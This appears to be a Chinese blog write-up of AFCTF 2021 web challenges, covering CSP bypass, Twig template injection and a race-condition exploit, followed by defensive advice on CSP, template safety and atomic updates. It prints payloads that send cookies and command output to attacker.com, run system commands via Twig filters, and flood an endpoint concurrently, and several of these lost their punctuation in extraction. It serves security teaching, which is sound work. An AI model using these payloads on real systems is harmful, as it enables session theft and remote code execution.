ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

AFCTF 2021 Web题深度复盘:CSP绕过、SSTI与条件竞争实战解析

AFCTF 2021 Web题深度复盘:CSP绕过、SSTI与条件竞争实战解析 1. 项目概述一次对AFCTF 2021 Web赛道的深度复盘最近在整理过去的CTFCapture The Flag学习笔记翻到了AFCTF 2021的Web题目。虽然比赛已经过去几年但其中一些题目的设计思路和涉及的知识点在今天看来依然非常经典对于想系统提升Web安全实战能力的朋友来说是绝佳的练手材料。CTF比赛中的Web题目本质上是一个个精心设计的“不安全”的Web应用解题者需要像黑客一样利用各种安全漏洞如SQL注入、文件上传、反序列化、逻辑漏洞等去找到隐藏的“Flag”一串特定格式的字符串。这个过程不仅能锻炼漏洞挖掘和利用的技能更能深刻理解安全开发中“什么不能做”以及“为什么不能做”。AFCTF作为国内知名的CTF赛事其题目质量一向有口皆碑。2021年的Web方向题目覆盖了从基础到进阶的多个层面尤其在一些新兴或易被忽视的攻击面上设置了巧妙的关卡。我打算结合当时的解题思路和后续的反思对其中几道具有代表性的题目进行一次详细的拆解。这次复盘不仅仅是给出答案更重要的是梳理背后的漏洞原理、构造Payload的思考过程以及在实际渗透测试或代码审计中如何识别和防范这类问题。无论你是刚接触CTF的新手还是希望巩固Web安全知识体系的从业者相信都能从中获得启发。2. 核心漏洞原理与解题思路拆解CTF Web题的魅力在于它往往不是直白地告诉你这里有个漏洞而是需要你通过信息收集、代码审计、参数测试等一系列操作自己发现攻击入口并构造利用链。在AFCTF 2021的题目中有几个核心的安全概念反复出现理解它们是解题的关键。2.1 同源策略与跨域漏洞的博弈Web安全的基石之一是同源策略它限制了来自不同源的文档或脚本如何相互交互。简单来说来自https://a.com的脚本不能随意读取https://b.com的内容。然而现代Web应用又常常需要合法的跨域通信这就引入了如CORS、JSONP、postMessage等机制。攻击者的目标就是利用这些机制配置不当或实现上的缺陷实现跨域攻击。在比赛中一道题目可能表面上是考察XSS但真正的考点却是如何绕过CSP策略来执行恶意脚本另一道题可能是一个简单的JSONP接口但却因为对回调函数名过滤不严导致了敏感信息泄露。解题时我们的思路不能局限于“找到一个输入点然后注入”而要站在整个应用交互的层面思考数据是如何在不同源之间流动的哪些环节的信任边界被打破了。注意在实际测试中遇到任何返回Access-Control-Allow-Origin: *的接口都需要格外警惕。虽然这方便了开发但也意味着任何网站都可以通过前端脚本读取该接口的数据。更安全的做法是严格指定可信的源。2.2 服务端模板注入与代码执行如果说跨域问题更多发生在前端交互那么服务端模板注入则是直击后端心脏的攻击。许多Web框架如Python的Flask/Jinja2、Java的Thymeleaf、Node.js的Pug等使用模板来动态生成HTML。当用户输入被直接拼接到模板中时就可能引发SSTI。例如一个简单的欢迎语句Hello, {{ name }}!如果name来自用户输入且未经处理攻击者传入{{ 7*7 }}服务端执行后返回Hello, 49!这就证实了漏洞存在。利用SSTI攻击者可以读取服务器上的文件、执行系统命令最终获取Flag。AFCTF中有一道题就巧妙地隐藏了SSTI点。它可能不在常见的参数里而是在HTTP头部、Cookie甚至文件名中。解题的关键在于识别出应用使用的模板引擎类型通过注入特殊的测试Payload观察报错信息然后根据该引擎的语法构造出读取文件或执行命令的Payload。2.3 非常规的文件包含与路径遍历文件包含漏洞允许攻击者将服务器上的本地文件或远程文件包含到当前页面中执行。常见的include($_GET[‘file’])是经典案例。但在高水平的CTF中题目往往会进行各种过滤比如过滤../、php协议、http://等。这就需要我们利用一些技巧和冷门协议来绕过编码绕过使用URL编码、双重编码、Unicode编码等尝试绕过简单的字符串匹配。协议利用除了file://、php://还可以考虑zip://、phar://、data://等。例如php://filter/convert.base64-encode/resourceindex.php可以将PHP文件以base64格式读取出来避免直接执行。路径截断在特定版本的PHP中利用长文件名截断./././或空字节截断%00但需注意PHP版本也是常见手段。一道题目可能将文件包含与上传功能结合。你上传的不是一个webshell而是一个包含恶意代码的图片然后通过文件包含漏洞利用php://filter或zip://协议来解析执行图片中的PHP代码。这种组合拳考验的是对漏洞链的串联能力。3. 典型题目实战解析与Payload构造下面我将选取三道AFCTF 2021中我个人认为非常有教学意义的Web题目进行完整的实战复盘。我会模拟当时的解题环境一步步展示从信息收集到最终获取Flag的过程。3.1 题目一CSP绕过与信息窃取这道题打开后是一个简单的留言板页面可以提交留言并显示。查看页面源代码发现设置了严格的Content Security Policy。第一步信息收集与分析首先我们检查HTTP响应头Content-Security-Policy: default-src self; script-src self cdn.example.com; style-src self unsafe-inline;这个策略意味着默认只能加载同源资源。脚本只能来自同源或cdn.example.com。样式可以来自同源或内联样式。留言功能处提交的内容会被直接显示在页面上但似乎经过了HTML实体转义常规的scriptalert(1)/script无法执行。这是一个明显的XSS点但被CSP挡住了。第二步寻找CSP绕过点CSP策略允许脚本从cdn.example.com加载。我们的目标是能否控制这个域下的某个脚本内容题目通常会在站内提供一个文件上传点或者存在一个可控的JSONP回调接口。 通过目录扫描我们发现了/api/jsonp?callbackxxx这个接口。它返回xxx({data: some info});。这里的callback参数我们可以控制。第三步构造利用链CSP允许cdn.example.com但我们的接口在同源下。怎么办这里有一个关键点如果网站存在一个开放重定向漏洞将cdn.example.com指向我们可控的同源接口那么浏览器会认为脚本来自cdn.example.com。 检查发现/redirect?url存在重定向漏洞且未校验目标域名。于是构造Payload留言板提交一个script src/api/jsonp?callbackalert(document.domain)///script是没用的因为src不符合CSP。我们需要让这个src看起来来自cdn.example.com。利用重定向script src/redirect?url/api/jsonp?callbackalert(document.domain)///script这样不行因为重定向后src的最终URL还是同源。换个思路让cdn.example.com本身解析到我们的服务器不现实。真正的绕过在于CSP的script-src检查的是请求的URL而不是最终响应的来源。如果我们能让浏览器向https://cdn.example.com/some/path发起请求而这个请求被服务器处理成对我们可控接口的代理或重定向那么就有可能。实际上题目在cdn.example.com下有一个/proxy路径它会将请求转发到内部服务并且path参数可控。最终利用Payload如下script srchttps://cdn.example.com/proxy?path/api/jsonp?callbacklocation.hrefhttp://attacker.com/?document.cookie///script我们将这段脚本作为留言提交。当管理员查看留言时其浏览器会加载这个“合法”的来自cdn.example.com的脚本。该脚本通过/proxy接口间接调用了同源的/api/jsonp接口并指定回调函数为窃取Cookie的代码。由于整个脚本加载过程符合CSP攻击成功。第四步获取Flag攻击者服务器收到管理员的Cookie其中包含session标识。用这个Cookie登录后台即可在管理界面找到Flag。实操心得CSP绕过常常需要结合应用的其他功能点如JSONP、重定向、代理等。关键在于理解浏览器校验CSP的时机和依据是请求的URL还是响应体的来源。多关注script-src中允许的域名下是否存在可控的端点。3.2 题目二SSTI与沙盒逃逸这道题是一个在线的“代码片段分享”平台可以提交一段文本平台会用一个“漂亮的模板”渲染后展示。输入{{2*2}}页面上显示4确认存在SSTI。第一步识别模板引擎输入{{7*7}}如果返回49是Twig返回7777777是Jinja2。本题返回49初步判断为TwigPHP。再输入{{_self}}页面显示了\Twig\Template之类的信息确认是Twig 3.x。第二步探索可用上下文与方法在Twig中常规的命令执行函数如system、exec可能被禁用或过滤。我们需要找到沙盒环境内可用的对象和方法。通过{{dump(self)}}或{{self}}可以查看当前模板对象的属性和方法。 经过测试发现{{_self.env|join(,)}}可以泄露一些环境信息。更重要的是我们发现可以通过{{_self.env.registerUndefinedFilterCallback(exec)}}和{{_self.env.getFilter(id)}}这样的组合来尝试执行命令但题目似乎做了限制。第三步利用内置过滤器与函数Twig有一些内置的过滤器filter和函数function。如果map、reduce、filter这些高阶过滤器可用我们可以利用它们来调用可执行命令的函数。一个经典的Payload是利用map过滤器{{[id]|map(system)|join(,)}} {{[cat /flag]|map(exec)|join(,)}}但题目可能禁用了system和exec。我们需要寻找替代方案。passthru、shell_exec、proc_open、popen都可以尝试。或者利用PHP的反引号执行运算符{{[cat /flag]|map(passthru)}}如果直接执行命令的过滤器都被禁用可以考虑文件读取。目标首先是读取当前的模板源文件看看有没有提示。Twig中_self的getTemplateName()方法可以获取模板名但如何读取内容我们可以利用PHP的包装器如果题目允许包含文件的话。但这里更直接的是利用SSTI本身去包含一个包含PHP代码的文件。 假设我们通过其他途径如文件上传在服务器上写了一个内容为?php system(‘cat /flag’);?的临时文件知道其路径/tmp/evil.php。那么可以尝试{{include(/tmp/evil.php)}}或者如果服务器配置了allow_url_include可以尝试远程包含。第四步本题的最终解法在本题中经过多次测试发现exec未被禁用但命令输出无法直接回显。我们需要将输出重定向到一个web可访问的文件或者使用DNS外带技术。写入文件{{[cat /flag /var/www/html/public/flag.txt]|map(exec)}}然后访问/flag.txt。DNS外带使用curl或wget带上命令结果作为参数访问我们的服务器{{[curl http://attacker.com/cat /flag]|map(exec)}}注意反引号在命令中的使用需要小心转义。 在实际操作中由于空格和特殊字符问题通常需要将命令进行base64编码{{[echo Y2F0IC9mbGFn | base64 -d | bash]|map(exec)}}通过不断尝试最终使用passthru过滤器成功执行了cat /flag命令在页面的错误信息或某个角落找到了Flag的输出。注意事项SSTI的利用高度依赖于模板引擎的类型和版本以及服务端的环境配置禁用函数、开放权限。在实战中信息收集阶段尝试{{7*7}}、{{7*7}}、% 7*7 %、${7*7}等不同语法快速判断引擎。然后查阅该引擎的官方文档和安全研究文章寻找可用的危险函数或属性链。3.3 题目三逻辑漏洞与条件竞争这道题是一个“积分兑换商城”用户可以通过完成任务获得积分然后用积分兑换昂贵的“Flag”。查看规则一个简单的任务点击后即可获得10积分而Flag需要10000积分。手动点击显然不现实。第一步分析请求流程点击“做任务”按钮抓包观察。请求是POST /api/task/do返回{points: 10}。同时请求头中有一个Authorization: Bearer jwt_token用于身份认证。没有发现明显的次数限制或时间间隔限制。第二步尝试自动化与速率限制直接写Python脚本循环发送这个POST请求import requests s requests.Session() # 先登录获取token s.post(/login, data{user:xxx,pass:xxx}) for i in range(1000): resp s.post(/api/task/do) print(fRound {i}: {resp.text})脚本运行后前几次成功但很快返回{error: Too many requests}。服务端加入了速率限制。第三步分析速率限制机制通常速率限制基于IP、用户Token或两者结合。我们更换IP代理池可能有效但更简单的方法是分析限制的逻辑。是不是一个滑动时间窗口比如一分钟内最多10次我们放慢请求频率试试。将脚本中加入time.sleep(6)即每秒不到10次发现可以持续获得积分。但这样积累到10000分需要1000次请求耗时超过100分钟虽然可行但效率低。第四步寻找逻辑漏洞并发请求仔细观察每次完成任务后积分是“增加”而不是“设置”。后端逻辑可能是user.points 10 db.session.commit()这是一个典型的“先读后写”非原子操作。如果我们在极短时间内并发发送多个请求服务器可能同时处理多个请求它们读取到的user.points都是旧值比如100然后各自加上10变成110最后写回数据库。理想情况下连续两次应该得到120但在并发下两次可能都写回110导致我们只增加了10分而非20分。但是如果并发量足够大由于线程/进程调度我们仍然有可能让一些请求“插队”成功获得比线性请求更多的积分。第五步构造条件竞争攻击我们使用多线程或异步IO来模拟并发import asyncio import aiohttp async def do_task(session, url, token): headers {Authorization: fBearer {token}} async with session.post(url, headersheaders) as resp: return await resp.text() async def main(): token your_jwt_token url http://target.com/api/task/do async with aiohttp.ClientSession() as session: tasks [do_task(session, url, token) for _ in range(200)] # 一次性并发200个请求 results await asyncio.gather(*tasks) for r in results: print(r) asyncio.run(main())运行这个脚本由于服务器端速率限制是基于单位时间窗口的我们一次性并发200个请求它们几乎同时到达服务器。速率限制中间件可能还来不及计数这些请求就已被分发到不同的工作进程进行处理。这就可能绕过速率限制。更重要的是在积分增加的非原子操作下我们有可能在极短的时间内获得大量的积分。第六步结果验证与获取Flag运行并发脚本后立即查询积分GET /api/user/points。发现积分可能变成了几千分。重复执行几次并发脚本积分迅速达到10000分。然后去商城兑换Flag成功获得。实操心得条件竞争漏洞在Web应用中广泛存在尤其是涉及资源计数、库存扣减、支付状态更新等场景。测试时除了高并发请求还要注意观察服务器的响应顺序和状态变化。工具上除了脚本也可以使用Burp Suite的Turbo Intruder插件来发起高速并发请求。防御此类漏洞需要在后端对关键操作使用数据库事务、行级锁或分布式锁确保操作的原子性。4. 从解题到防御安全开发启示录通过以上三道题目的深度剖析我们不仅解决了问题更应该从中提炼出对实际安全开发有指导意义的经验。CTF题目是现实世界漏洞的浓缩和抽象其背后的原理与真实攻击一脉相承。4.1 CSP策略的配置误区与正确姿势CSP是一个强大的安全工具但配置不当反而会引入风险或留下绕过空间。误区一过度依赖unsafe-inline和unsafe-eval。为了方便很多开发者直接加上‘unsafe-inline’这几乎让CSP在防御XSS方面形同虚设。应该彻底禁止内联脚本和样式将所有JavaScript和CSS放到外部文件中。误区二源列表过于宽泛。使用*或https:作为源是非常危险的。应该遵循最小权限原则只添加确实需要加载资源的、可信的特定域名。误区三忽略default-src的兜底作用。如果其他指令如img-src、font-src没有设置浏览器会回退到default-src。因此default-src应该设置为最严格的策略如‘self’然后按需放宽其他指令。正确姿势使用Content-Security-Policy-Report-Only头在线上环境先观察一段时间收集实际违反策略的报告再制定正式策略。使用严格的策略并配合nonce或hash来允许特定的内联脚本。例如script-src ‘self’ ‘nonce-abc123…’;在脚本标签上添加nonce“abc123…”属性。定期审计CSP策略移除不再使用的源。4.2 模板引擎的安全使用规范SSTI产生的根本原因是“数据”与“代码”的混淆。用户输入被当成了模板语法的一部分。根本原则严格隔离用户输入与模板逻辑。永远不要将用户可控的内容直接放入模板表达式中。安全实践上下文转义根据输出位置HTML、JavaScript、CSS、URL使用对应的转义函数。大多数现代模板引擎会自动进行上下文相关的转义如Jinja2、Thymeleaf但前提是你要使用正确的语法如{{ user_input }}会被自动转义而{{ user_input|safe }}或{% raw user_input %}则不会。沙盒模式如果业务确实需要动态执行一些逻辑考虑使用模板引擎的沙盒环境严格限制可访问的函数和属性。静态模板尽可能使用静态模板。动态生成模板名称或路径时必须进行严格的白名单校验防止目录遍历。代码审查在代码审查中重点关注所有将变量传入模板渲染函数的地方确认其来源是否可信是否经过了处理。4.3 并发场景下的业务逻辑安全设计条件竞争漏洞暴露的是业务逻辑在处理共享资源时的非原子性问题。设计层面悲观锁在操作开始时就直接锁定相关数据库行SELECT … FOR UPDATE直到事务提交。适用于冲突频繁的场景。乐观锁在数据中增加版本号字段。更新时检查当前版本号是否与读取时一致一致则更新并递增版本号不一致则重试或报错。适用于冲突较少的场景。原子操作利用数据库的原子操作指令如UPDATE table SET points points 10 WHERE user_id ?。这样即使并发数据库引擎也会保证更新操作的原子性。队列化处理将可能产生竞争的任务放入消息队列由单个消费者串行处理从根本上杜绝并发。测试层面在压力测试和渗透测试中必须将高并发请求作为测试用例。使用工具模拟多个用户同时抢购、同时领取奖励等场景验证系统结果是否符合预期如库存不为负、奖励不超发。5. 拓展思考与进阶挑战解完几道题目我们不妨把视野放得更宽一些。CTF Web题目的趋势正在向更复杂、更贴近实战的方向发展。5.1 前端安全与客户端漏洞的兴起随着前后端分离和SPA的普及越来越多的逻辑被放到前端。这带来了新的攻击面客户端原型污染攻击者通过修改JavaScript对象的原型可以影响整个应用的行为可能导致XSS甚至RCE。题目可能要求你通过一个可控的输入点污染Object.prototype从而绕过一些前端检查或触发意外的代码路径。前端框架漏洞研究如Vue、React、Angular等框架在特定版本下的安全问题。例如Vue的v-html指令、React的dangerouslySetInnerHTML属性如果使用不当都是XSS的入口。一道题可能看起来是标准的React应用但需要你结合框架特性来构造Payload。GraphQL安全GraphQL接口的 introspection自省功能可能泄露后端schema帮助攻击者发现隐藏的查询和变更。复杂的查询可能导致DoS深度递归查询、批量查询。题目可能考察如何通过Introspection获取敏感信息或构造一个恶意的查询使服务端资源耗尽。5.2 云原生与容器环境下的新挑战题目环境越来越多地部署在容器中这引入了新的维度容器逃逸Web漏洞获取了一个shell但发现是在一个Docker容器里。如何从容器内突破到宿主机这可能需要利用有问题的容器配置如挂载了Docker Socket、以特权模式运行、内核漏洞或脆弱的服务。Kubernetes环境在K8s环境中Service Account、Secrets、ConfigMap都可能成为攻击目标。一道Web题的最后一步可能是让你读取K8s的Service Account Token然后调用K8s API来获取更高权限或访问其他Namespace的资源。Serverless函数安全题目可能是一个无服务器函数存在注入或代码漏洞。你需要考虑如何利用函数的临时存储、环境变量或者通过事件注入攻击来访问其他资源。5.3 自动化工具在CTF中的辅助与局限在解题过程中我们可能会用到sqlmap、Burp Suite、dirsearch等自动化工具。它们能极大地提高信息收集和漏洞探测的效率。辅助作用dirsearch可以快速发现隐藏目录和文件sqlmap可以自动化检测和利用SQL注入特别是在时间盲注等复杂场景下Burp的Intruder和Repeater模块是手动测试和Payload爆破的利器。局限性但自动化工具不是万能的。对于逻辑漏洞、条件竞争、需要多步交互的复杂链式漏洞以及那些依赖特定业务上下文或非常规过滤规则的题目自动化工具往往无能为力。它们可能会发出大量无效请求触发WAF也可能无法理解自定义的加密、编码或会话机制。正确态度将工具作为手的延伸而不是大脑的替代。理解工具的原理知道它在做什么并根据响应手动调整策略。真正的能力体现在对漏洞原理的深刻理解、对代码和网络流的分析以及创造性的问题解决思维上。这也是为什么手动复盘和原理学习如此重要。6. 总结与个人实战资源推荐回顾AFCTF 2021的这几道Web题目从CSP绕过、SSTI利用到条件竞争它们像一把把手术刀精准地剖开了Web应用在不同层面的安全风险。解题的过程是一个将碎片化知识串联成攻击链的过程也是一个从攻击者视角审视系统设计的过程。我个人在练习CTF时习惯在解题后做两件事一是像这样写一份详细的复盘笔记记录下所有的尝试、失败的路径和最终的成功关键二是尝试从防御角度重写漏洞代码。例如针对那道SSTI题目我会用安全的写法重写后端视图函数确保用户输入经过严格的过滤和转义。这种“攻防转换”的练习能让理解更加立体和牢固。如果你也想通过CTF来提升Web安全实战能力我建议不要只盯着Flag而是把每个题目当成一个微型的安全研究项目。除了AFCTF还可以多关注一些长期维护的在线CTF平台和高质量的比赛比如攻防世界题目分类清晰适合循序渐进。HackTheBox虽然偏向渗透测试但其上的Challenges板块有很多优质的Web题目环境贴近真实。CTFtime关注最新的国际CTF赛事通常赛后会公开题目和官方Writeup是学习前沿技术的绝佳来源。最后保持好奇心和耐心。遇到难题卡住几个小时甚至几天都是常态但每一次突破都是对自身技术栈的一次有力扩充。真正的安全能力就藏在这些反复的“发现、分析、利用、修复”的循环之中。
返回列表